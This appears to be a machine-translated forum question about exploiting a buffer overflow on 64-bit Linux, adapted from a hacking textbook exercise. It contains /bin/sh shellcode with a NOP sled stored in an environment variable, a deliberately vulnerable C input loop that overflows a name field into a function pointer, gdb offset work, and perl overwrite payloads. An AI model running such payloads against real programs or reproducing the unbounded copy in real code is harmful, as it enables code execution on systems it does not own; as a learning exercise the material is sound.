我在64位架构上。 我试图在环境变量中使用SHELLCODE来利用缓冲区溢出。
export SHELLCODE=$(perl -e 'print "\x90"x200 . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"')
我使用getenv()
获取变量的环境地址printf("%s is at %p\n", argv[1], getenv(argv[1]));
给我
0x7fffffffe2c5
这是我在C
中的代码struct user
{
int uid;
int credits;
int highscore;
char name[100];
int (*current_game) ();
};
void function()
{
printf("inside function\n");
}
void function_2()
{
printf("inside function2\n");
}
void input_name()
{
char *name_ptr, input_char='\n';
player.current_game = &function;
while(input_char == '\n')
scanf("%c", &input_char);
name_ptr = (char *) &(player.name);
while(input_char != '\n')
{
*name_ptr = input_char;
scanf("%c", &input_char);
name_ptr++;
}
*name_ptr = 0;
player.current_game();
}
我发现名称[100]和(* current_game)()之间的字节差异使用了GDB。
(gdb) print player
$1 = {uid = 0, credits = 0, highscore = 0, name = '\000' <repeats 99 times>, current_game = 0x0}
(gdb) print &player.name
$2 = (char (*)[100]) 0x6030ec <player+12>
(gdb) print &player.current_game
$3 = (int (**)()) 0x603150 <player+112>
(gdb) print (0x603150 - 0x6030ec)
$5 = 100
字节差异为100。
现在的问题是,当我试图用&#34;内部&#34;覆盖(* current_game)()时,它的工作正常。函数的地址但不包含环境变量的地址。例如,Function_2()。
nm ./a.out
000000000040110e T function_2()
所以我用这种方式覆盖(* current_game)
perl -e 'print "A" x 100. "\x0e\x11\40"' | ./a.out
输出:
inside function2
所以它有效。但是,当我尝试使用环境变量进行覆盖时,它无法正常工作。 正如我向您展示的那样。我的env变量存储在
0x7fffffffe2c5
所以当我以这种方式覆盖时
perl -e 'print "A" x 100. "\xc5\xe2\xff\xff\xff\x7f"' | ./a.out
当我显示*(current_game)()gdb的值时,哪个不起作用。
0xffffe2c5
感谢。
注意:我在这里提到的例子是书中的代码snipet&#34;剥削的艺术第二&#34;由Jon Erickson撰写。但是我修改了一点代码,因为原来的代码非常庞大。它会避免你阅读很多代码。我原来的帖子足够长lol。